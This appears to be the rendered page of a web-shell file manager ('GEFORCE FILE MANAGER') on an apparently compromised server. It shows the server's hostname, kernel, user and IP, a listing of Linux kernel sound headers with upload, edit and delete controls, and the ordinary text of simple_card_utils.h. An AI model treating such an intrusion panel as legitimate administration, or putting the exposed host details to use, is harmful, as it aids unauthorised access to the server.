[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
src
/
kernels
/
4.18.0-553.63.1.el8_10.x86_64
/
include
/
sound
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 ac97
SET
[ DEL ]
📁 sof
SET
[ DEL ]
📄 ac97_codec.h
16,173 B
SET
[ EDIT ]
|
[ DEL ]
📄 aci.h
2,458 B
SET
[ EDIT ]
|
[ DEL ]
📄 acp63_chip_offset_byte.h
30,462 B
SET
[ EDIT ]
|
[ DEL ]
📄 ad1816a.h
4,843 B
SET
[ EDIT ]
|
[ DEL ]
📄 ad1843.h
1,516 B
SET
[ EDIT ]
|
[ DEL ]
📄 adau1373.h
706 B
SET
[ EDIT ]
|
[ DEL ]
📄 aess.h
1,668 B
SET
[ EDIT ]
|
[ DEL ]
📄 ak4113.h
10,461 B
SET
[ EDIT ]
|
[ DEL ]
📄 ak4114.h
9,773 B
SET
[ EDIT ]
|
[ DEL ]
📄 ak4117.h
8,542 B
SET
[ EDIT ]
|
[ DEL ]
📄 ak4531_codec.h
2,478 B
SET
[ EDIT ]
|
[ DEL ]
📄 ak4641.h
476 B
SET
[ EDIT ]
|
[ DEL ]
📄 ak4xxx-adda.h
2,724 B
SET
[ EDIT ]
|
[ DEL ]
📄 alc5623.h
536 B
SET
[ EDIT ]
|
[ DEL ]
📄 asequencer.h
2,975 B
SET
[ EDIT ]
|
[ DEL ]
📄 asound.h
590 B
SET
[ EDIT ]
|
[ DEL ]
📄 asoundef.h
16,403 B
SET
[ EDIT ]
|
[ DEL ]
📄 compress_driver.h
7,987 B
SET
[ EDIT ]
|
[ DEL ]
📄 control.h
10,989 B
SET
[ EDIT ]
|
[ DEL ]
📄 core.h
16,151 B
SET
[ EDIT ]
|
[ DEL ]
📄 cs35l33.h
888 B
SET
[ EDIT ]
|
[ DEL ]
📄 cs35l34.h
741 B
SET
[ EDIT ]
|
[ DEL ]
📄 cs35l35.h
2,267 B
SET
[ EDIT ]
|
[ DEL ]
📄 cs35l36.h
772 B
SET
[ EDIT ]
|
[ DEL ]
📄 cs35l41.h
34,962 B
SET
[ EDIT ]
|
[ DEL ]
📄 cs4231-regs.h
7,785 B
SET
[ EDIT ]
|
[ DEL ]
📄 cs4271.h
961 B
SET
[ EDIT ]
|
[ DEL ]
📄 cs42l42.h
35,337 B
SET
[ EDIT ]
|
[ DEL ]
📄 cs42l52.h
592 B
SET
[ EDIT ]
|
[ DEL ]
📄 cs42l56.h
1,046 B
SET
[ EDIT ]
|
[ DEL ]
📄 cs42l73.h
361 B
SET
[ EDIT ]
|
[ DEL ]
📄 cs8403.h
8,138 B
SET
[ EDIT ]
|
[ DEL ]
📄 cs8427.h
9,954 B
SET
[ EDIT ]
|
[ DEL ]
📄 da7213.h
1,032 B
SET
[ EDIT ]
|
[ DEL ]
📄 da7218.h
2,468 B
SET
[ EDIT ]
|
[ DEL ]
📄 da7219-aad.h
2,263 B
SET
[ EDIT ]
|
[ DEL ]
📄 da7219.h
998 B
SET
[ EDIT ]
|
[ DEL ]
📄 da9055.h
707 B
SET
[ EDIT ]
|
[ DEL ]
📄 designware_i2s.h
1,631 B
SET
[ EDIT ]
|
[ DEL ]
📄 dmaengine_pcm.h
6,802 B
SET
[ EDIT ]
|
[ DEL ]
📄 emu10k1.h
92,513 B
SET
[ EDIT ]
|
[ DEL ]
📄 emu10k1_synth.h
693 B
SET
[ EDIT ]
|
[ DEL ]
📄 emu8000.h
3,333 B
SET
[ EDIT ]
|
[ DEL ]
📄 emu8000_reg.h
9,767 B
SET
[ EDIT ]
|
[ DEL ]
📄 emux_legacy.h
4,811 B
SET
[ EDIT ]
|
[ DEL ]
📄 emux_synth.h
6,948 B
SET
[ EDIT ]
|
[ DEL ]
📄 es1688.h
2,923 B
SET
[ EDIT ]
|
[ DEL ]
📄 graph_card.h
1,070 B
SET
[ EDIT ]
|
[ DEL ]
📄 gus.h
20,119 B
SET
[ EDIT ]
|
[ DEL ]
📄 hda-mlink.h
6,065 B
SET
[ EDIT ]
|
[ DEL ]
📄 hda_chmap.h
2,660 B
SET
[ EDIT ]
|
[ DEL ]
📄 hda_codec.h
18,065 B
SET
[ EDIT ]
|
[ DEL ]
📄 hda_component.h
2,085 B
SET
[ EDIT ]
|
[ DEL ]
📄 hda_hwdep.h
736 B
SET
[ EDIT ]
|
[ DEL ]
📄 hda_i915.h
589 B
SET
[ EDIT ]
|
[ DEL ]
📄 hda_register.h
12,172 B
SET
[ EDIT ]
|
[ DEL ]
📄 hda_regmap.h
6,934 B
SET
[ EDIT ]
|
[ DEL ]
📄 hda_verbs.h
17,289 B
SET
[ EDIT ]
|
[ DEL ]
📄 hdaudio.h
24,529 B
SET
[ EDIT ]
|
[ DEL ]
📄 hdaudio_ext.h
6,626 B
SET
[ EDIT ]
|
[ DEL ]
📄 hdmi-codec.h
3,117 B
SET
[ EDIT ]
|
[ DEL ]
📄 hwdep.h
1,926 B
SET
[ EDIT ]
|
[ DEL ]
📄 i2c.h
2,857 B
SET
[ EDIT ]
|
[ DEL ]
📄 info.h
7,941 B
SET
[ EDIT ]
|
[ DEL ]
📄 initval.h
2,484 B
SET
[ EDIT ]
|
[ DEL ]
📄 intel-dsp-config.h
896 B
SET
[ EDIT ]
|
[ DEL ]
📄 intel-nhlt.h
3,840 B
SET
[ EDIT ]
|
[ DEL ]
📄 jack.h
3,172 B
SET
[ EDIT ]
|
[ DEL ]
📄 l3.h
524 B
SET
[ EDIT ]
|
[ DEL ]
📄 max9768.h
729 B
SET
[ EDIT ]
|
[ DEL ]
📄 max98088.h
1,074 B
SET
[ EDIT ]
|
[ DEL ]
📄 max98090.h
534 B
SET
[ EDIT ]
|
[ DEL ]
📄 max98095.h
1,357 B
SET
[ EDIT ]
|
[ DEL ]
📄 memalloc.h
3,879 B
SET
[ EDIT ]
|
[ DEL ]
📄 minors.h
3,738 B
SET
[ EDIT ]
|
[ DEL ]
📄 mixer_oss.h
1,773 B
SET
[ EDIT ]
|
[ DEL ]
📄 mpu401.h
3,905 B
SET
[ EDIT ]
|
[ DEL ]
📄 omap-hdmi-audio.h
971 B
SET
[ EDIT ]
|
[ DEL ]
📄 opl3.h
11,909 B
SET
[ EDIT ]
|
[ DEL ]
📄 opl4.h
459 B
SET
[ EDIT ]
|
[ DEL ]
📄 pcm-indirect.h
5,303 B
SET
[ EDIT ]
|
[ DEL ]
📄 pcm.h
55,007 B
SET
[ EDIT ]
|
[ DEL ]
📄 pcm_drm_eld.h
183 B
SET
[ EDIT ]
|
[ DEL ]
📄 pcm_iec958.h
597 B
SET
[ EDIT ]
|
[ DEL ]
📄 pcm_oss.h
2,063 B
SET
[ EDIT ]
|
[ DEL ]
📄 pcm_params.h
8,864 B
SET
[ EDIT ]
|
[ DEL ]
📄 pt2258.h
513 B
SET
[ EDIT ]
|
[ DEL ]
📄 pxa2xx-lib.h
2,190 B
SET
[ EDIT ]
|
[ DEL ]
📄 rawmidi.h
5,663 B
SET
[ EDIT ]
|
[ DEL ]
📄 rt1015.h
283 B
SET
[ EDIT ]
|
[ DEL ]
📄 rt286.h
314 B
SET
[ EDIT ]
|
[ DEL ]
📄 rt298.h
373 B
SET
[ EDIT ]
|
[ DEL ]
📄 rt5514.h
399 B
SET
[ EDIT ]
|
[ DEL ]
📄 rt5659.h
880 B
SET
[ EDIT ]
|
[ DEL ]
📄 rt5660.h
578 B
SET
[ EDIT ]
|
[ DEL ]
📄 rt5663.h
476 B
SET
[ EDIT ]
|
[ DEL ]
📄 rt5665.h
723 B
SET
[ EDIT ]
|
[ DEL ]
📄 rt5668.h
607 B
SET
[ EDIT ]
|
[ DEL ]
📄 rt5682.h
862 B
SET
[ EDIT ]
|
[ DEL ]
📄 rt5682s.h
915 B
SET
[ EDIT ]
|
[ DEL ]
📄 s3c24xx_uda134x.h
229 B
SET
[ EDIT ]
|
[ DEL ]
📄 sb.h
10,550 B
SET
[ EDIT ]
|
[ DEL ]
📄 sb16_csp.h
2,100 B
SET
[ EDIT ]
|
[ DEL ]
📄 sdw.h
1,667 B
SET
[ EDIT ]
|
[ DEL ]
📄 seq_device.h
2,165 B
SET
[ EDIT ]
|
[ DEL ]
📄 seq_kernel.h
3,378 B
SET
[ EDIT ]
|
[ DEL ]
📄 seq_midi_emul.h
6,757 B
SET
[ EDIT ]
|
[ DEL ]
📄 seq_midi_event.h
1,356 B
SET
[ EDIT ]
|
[ DEL ]
📄 seq_oss.h
2,264 B
SET
[ EDIT ]
|
[ DEL ]
📄 seq_oss_legacy.h
360 B
SET
[ EDIT ]
|
[ DEL ]
📄 seq_virmidi.h
2,123 B
SET
[ EDIT ]
|
[ DEL ]
📄 sh_dac_audio.h
441 B
SET
[ EDIT ]
|
[ DEL ]
📄 sh_fsi.h
693 B
SET
[ EDIT ]
|
[ DEL ]
📄 simple_card.h
529 B
SET
[ EDIT ]
|
[ DEL ]
📄 simple_card_utils.h
8,816 B
SET
[ EDIT ]
|
[ DEL ]
📄 snd_wavefront.h
5,704 B
SET
[ EDIT ]
|
[ DEL ]
📄 soc-acpi-intel-match.h
2,417 B
SET
[ EDIT ]
|
[ DEL ]
📄 soc-acpi.h
6,675 B
SET
[ EDIT ]
|
[ DEL ]
📄 soc-card.h
2,623 B
SET
[ EDIT ]
|
[ DEL ]
📄 soc-component.h
20,608 B
SET
[ EDIT ]
|
[ DEL ]
📄 soc-dai.h
21,113 B
SET
[ EDIT ]
|
[ DEL ]
📄 soc-dapm.h
34,141 B
SET
[ EDIT ]
|
[ DEL ]
📄 soc-dpcm.h
5,698 B
SET
[ EDIT ]
|
[ DEL ]
📄 soc-jack.h
3,822 B
SET
[ EDIT ]
|
[ DEL ]
📄 soc-link.h
1,172 B
SET
[ EDIT ]
|
[ DEL ]
📄 soc-topology.h
5,882 B
SET
[ EDIT ]
|
[ DEL ]
📄 soc.h
52,841 B
SET
[ EDIT ]
|
[ DEL ]
📄 sof.h
4,031 B
SET
[ EDIT ]
|
[ DEL ]
📄 soundfont.h
3,903 B
SET
[ EDIT ]
|
[ DEL ]
📄 spear_dma.h
350 B
SET
[ EDIT ]
|
[ DEL ]
📄 spear_spdif.h
345 B
SET
[ EDIT ]
|
[ DEL ]
📄 sta32x.h
1,015 B
SET
[ EDIT ]
|
[ DEL ]
📄 sta350.h
1,474 B
SET
[ EDIT ]
|
[ DEL ]
📄 tas2552-plat.h
283 B
SET
[ EDIT ]
|
[ DEL ]
📄 tas5086.h
210 B
SET
[ EDIT ]
|
[ DEL ]
📄 tea6330t.h
468 B
SET
[ EDIT ]
|
[ DEL ]
📄 timer.h
5,125 B
SET
[ EDIT ]
|
[ DEL ]
📄 tlv.h
1,627 B
SET
[ EDIT ]
|
[ DEL ]
📄 tlv320aic32x4.h
1,320 B
SET
[ EDIT ]
|
[ DEL ]
📄 tlv320dac33-plat.h
574 B
SET
[ EDIT ]
|
[ DEL ]
📄 tpa6130a2-plat.h
291 B
SET
[ EDIT ]
|
[ DEL ]
📄 uda134x.h
451 B
SET
[ EDIT ]
|
[ DEL ]
📄 uda1380.h
335 B
SET
[ EDIT ]
|
[ DEL ]
📄 util_mem.h
1,623 B
SET
[ EDIT ]
|
[ DEL ]
📄 vx_core.h
15,055 B
SET
[ EDIT ]
|
[ DEL ]
📄 wavefront.h
18,518 B
SET
[ EDIT ]
|
[ DEL ]
📄 wm0010.h
466 B
SET
[ EDIT ]
|
[ DEL ]
📄 wm1250-ev1.h
510 B
SET
[ EDIT ]
|
[ DEL ]
📄 wm2000.h
479 B
SET
[ EDIT ]
|
[ DEL ]
📄 wm2200.h
1,353 B
SET
[ EDIT ]
|
[ DEL ]
📄 wm5100.h
1,129 B
SET
[ EDIT ]
|
[ DEL ]
📄 wm8903.h
15,377 B
SET
[ EDIT ]
|
[ DEL ]
📄 wm8904.h
7,389 B
SET
[ EDIT ]
|
[ DEL ]
📄 wm8955.h
442 B
SET
[ EDIT ]
|
[ DEL ]
📄 wm8960.h
888 B
SET
[ EDIT ]
|
[ DEL ]
📄 wm8962.h
1,694 B
SET
[ EDIT ]
|
[ DEL ]
📄 wm8993.h
1,076 B
SET
[ EDIT ]
|
[ DEL ]
📄 wm8996.h
1,289 B
SET
[ EDIT ]
|
[ DEL ]
📄 wm9081.h
515 B
SET
[ EDIT ]
|
[ DEL ]
📄 wm9090.h
634 B
SET
[ EDIT ]
|
[ DEL ]
📄 wss.h
7,949 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: simple_card_utils.h
/* SPDX-License-Identifier: GPL-2.0 * * simple_card_utils.h * * Copyright (c) 2016 Kuninori Morimoto <kuninori.morimoto.gx@renesas.com> */ #ifndef __SIMPLE_CARD_UTILS_H #define __SIMPLE_CARD_UTILS_H #include <linux/clk.h> #include <sound/soc.h> #define asoc_simple_init_hp(card, sjack, prefix) \ asoc_simple_init_jack(card, sjack, 1, prefix, NULL) #define asoc_simple_init_mic(card, sjack, prefix) \ asoc_simple_init_jack(card, sjack, 0, prefix, NULL) struct asoc_simple_tdm_width_map { u8 sample_bits; u8 slot_count; u16 slot_width; }; struct asoc_simple_dai { const char *name; unsigned int sysclk; int clk_direction; int slots; int slot_width; unsigned int tx_slot_mask; unsigned int rx_slot_mask; struct clk *clk; bool clk_fixed; struct asoc_simple_tdm_width_map *tdm_width_map; int n_tdm_widths; }; struct asoc_simple_data { u32 convert_rate; u32 convert_channels; const char *convert_sample_format; }; struct asoc_simple_jack { struct snd_soc_jack jack; struct snd_soc_jack_pin pin; struct snd_soc_jack_gpio gpio; }; struct prop_nums { int cpus; int codecs; int platforms; }; struct asoc_simple_priv { struct snd_soc_card snd_card; struct simple_dai_props { struct asoc_simple_dai *cpu_dai; struct asoc_simple_dai *codec_dai; struct snd_soc_dai_link_component *cpus; struct snd_soc_dai_link_component *codecs; struct snd_soc_dai_link_component *platforms; struct asoc_simple_data adata; struct snd_soc_codec_conf *codec_conf; struct prop_nums num; unsigned int mclk_fs; } *dai_props; struct asoc_simple_jack hp_jack; struct asoc_simple_jack mic_jack; struct snd_soc_jack *aux_jacks; struct snd_soc_dai_link *dai_link; struct asoc_simple_dai *dais; struct snd_soc_dai_link_component *dlcs; struct snd_soc_dai_link_component dummy; struct snd_soc_codec_conf *codec_conf; struct gpio_desc *pa_gpio; const struct snd_soc_ops *ops; unsigned int dpcm_selectable:1; unsigned int force_dpcm:1; }; #define simple_priv_to_card(priv) (&(priv)->snd_card) #define simple_priv_to_props(priv, i) ((priv)->dai_props + (i)) #define simple_priv_to_dev(priv) (simple_priv_to_card(priv)->dev) #define simple_priv_to_link(priv, i) (simple_priv_to_card(priv)->dai_link + (i)) #define simple_props_to_dlc_cpu(props, i) ((props)->cpus + i) #define simple_props_to_dlc_codec(props, i) ((props)->codecs + i) #define simple_props_to_dlc_platform(props, i) ((props)->platforms + i) #define simple_props_to_dai_cpu(props, i) ((props)->cpu_dai + i) #define simple_props_to_dai_codec(props, i) ((props)->codec_dai + i) #define simple_props_to_codec_conf(props, i) ((props)->codec_conf + i) #define for_each_prop_dlc_cpus(props, i, cpu) \ for ((i) = 0; \ ((i) < (props)->num.cpus) && \ ((cpu) = simple_props_to_dlc_cpu(props, i)); \ (i)++) #define for_each_prop_dlc_codecs(props, i, codec) \ for ((i) = 0; \ ((i) < (props)->num.codecs) && \ ((codec) = simple_props_to_dlc_codec(props, i)); \ (i)++) #define for_each_prop_dlc_platforms(props, i, platform) \ for ((i) = 0; \ ((i) < (props)->num.platforms) && \ ((platform) = simple_props_to_dlc_platform(props, i)); \ (i)++) #define for_each_prop_codec_conf(props, i, conf) \ for ((i) = 0; \ ((i) < (props)->num.codecs) && \ (props)->codec_conf && \ ((conf) = simple_props_to_codec_conf(props, i)); \ (i)++) #define for_each_prop_dai_cpu(props, i, cpu) \ for ((i) = 0; \ ((i) < (props)->num.cpus) && \ ((cpu) = simple_props_to_dai_cpu(props, i)); \ (i)++) #define for_each_prop_dai_codec(props, i, codec) \ for ((i) = 0; \ ((i) < (props)->num.codecs) && \ ((codec) = simple_props_to_dai_codec(props, i)); \ (i)++) #define SNDRV_MAX_LINKS 512 struct link_info { int link; /* number of link */ int cpu; /* turn for CPU / Codec */ struct prop_nums num[SNDRV_MAX_LINKS]; }; int asoc_simple_parse_daifmt(struct device *dev, struct device_node *node, struct device_node *codec, char *prefix, unsigned int *retfmt); int asoc_simple_parse_tdm_width_map(struct device *dev, struct device_node *np, struct asoc_simple_dai *dai); __printf(3, 4) int asoc_simple_set_dailink_name(struct device *dev, struct snd_soc_dai_link *dai_link, const char *fmt, ...); int asoc_simple_parse_card_name(struct snd_soc_card *card, char *prefix); int asoc_simple_parse_clk(struct device *dev, struct device_node *node, struct asoc_simple_dai *simple_dai, struct snd_soc_dai_link_component *dlc); int asoc_simple_startup(struct snd_pcm_substream *substream); void asoc_simple_shutdown(struct snd_pcm_substream *substream); int asoc_simple_hw_params(struct snd_pcm_substream *substream, struct snd_pcm_hw_params *params); int asoc_simple_dai_init(struct snd_soc_pcm_runtime *rtd); int asoc_simple_be_hw_params_fixup(struct snd_soc_pcm_runtime *rtd, struct snd_pcm_hw_params *params); #define asoc_simple_parse_tdm(np, dai) \ snd_soc_of_parse_tdm_slot(np, &(dai)->tx_slot_mask, \ &(dai)->rx_slot_mask, \ &(dai)->slots, \ &(dai)->slot_width); void asoc_simple_canonicalize_platform(struct snd_soc_dai_link_component *platforms, struct snd_soc_dai_link_component *cpus); void asoc_simple_canonicalize_cpu(struct snd_soc_dai_link_component *cpus, int is_single_links); void asoc_simple_clean_reference(struct snd_soc_card *card); void asoc_simple_parse_convert(struct device_node *np, char *prefix, struct asoc_simple_data *data); bool asoc_simple_is_convert_required(const struct asoc_simple_data *data); int asoc_simple_parse_routing(struct snd_soc_card *card, char *prefix); int asoc_simple_parse_widgets(struct snd_soc_card *card, char *prefix); int asoc_simple_parse_pin_switches(struct snd_soc_card *card, char *prefix); int asoc_simple_init_jack(struct snd_soc_card *card, struct asoc_simple_jack *sjack, int is_hp, char *prefix, char *pin); int asoc_simple_init_aux_jacks(struct asoc_simple_priv *priv, char *prefix); int asoc_simple_init_priv(struct asoc_simple_priv *priv, struct link_info *li); int asoc_simple_remove(struct platform_device *pdev); int asoc_graph_card_probe(struct snd_soc_card *card); int asoc_graph_is_ports0(struct device_node *port); #ifdef DEBUG static inline void asoc_simple_debug_dai(struct asoc_simple_priv *priv, char *name, struct asoc_simple_dai *dai) { struct device *dev = simple_priv_to_dev(priv); /* dai might be NULL */ if (!dai) return; if (dai->name) dev_dbg(dev, "%s dai name = %s\n", name, dai->name); if (dai->slots) dev_dbg(dev, "%s slots = %d\n", name, dai->slots); if (dai->slot_width) dev_dbg(dev, "%s slot width = %d\n", name, dai->slot_width); if (dai->tx_slot_mask) dev_dbg(dev, "%s tx slot mask = %d\n", name, dai->tx_slot_mask); if (dai->rx_slot_mask) dev_dbg(dev, "%s rx slot mask = %d\n", name, dai->rx_slot_mask); if (dai->clk) dev_dbg(dev, "%s clk %luHz\n", name, clk_get_rate(dai->clk)); if (dai->sysclk) dev_dbg(dev, "%s sysclk = %dHz\n", name, dai->sysclk); if (dai->clk || dai->sysclk) dev_dbg(dev, "%s direction = %s\n", name, dai->clk_direction ? "OUT" : "IN"); } static inline void asoc_simple_debug_info(struct asoc_simple_priv *priv) { struct snd_soc_card *card = simple_priv_to_card(priv); struct device *dev = simple_priv_to_dev(priv); int i; if (card->name) dev_dbg(dev, "Card Name: %s\n", card->name); for (i = 0; i < card->num_links; i++) { struct simple_dai_props *props = simple_priv_to_props(priv, i); struct snd_soc_dai_link *link = simple_priv_to_link(priv, i); struct asoc_simple_dai *dai; struct snd_soc_codec_conf *cnf; int j; dev_dbg(dev, "DAI%d\n", i); dev_dbg(dev, "cpu num = %d\n", link->num_cpus); for_each_prop_dai_cpu(props, j, dai) asoc_simple_debug_dai(priv, "cpu", dai); dev_dbg(dev, "codec num = %d\n", link->num_codecs); for_each_prop_dai_codec(props, j, dai) asoc_simple_debug_dai(priv, "codec", dai); if (link->name) dev_dbg(dev, "dai name = %s\n", link->name); if (link->dai_fmt) dev_dbg(dev, "dai format = %04x\n", link->dai_fmt); if (props->adata.convert_rate) dev_dbg(dev, "convert_rate = %d\n", props->adata.convert_rate); if (props->adata.convert_channels) dev_dbg(dev, "convert_channels = %d\n", props->adata.convert_channels); for_each_prop_codec_conf(props, j, cnf) if (cnf->name_prefix) dev_dbg(dev, "name prefix = %s\n", cnf->name_prefix); if (props->mclk_fs) dev_dbg(dev, "mclk-fs = %d\n", props->mclk_fs); } } #else #define asoc_simple_debug_info(priv) #endif /* DEBUG */ #endif /* __SIMPLE_CARD_UTILS_H */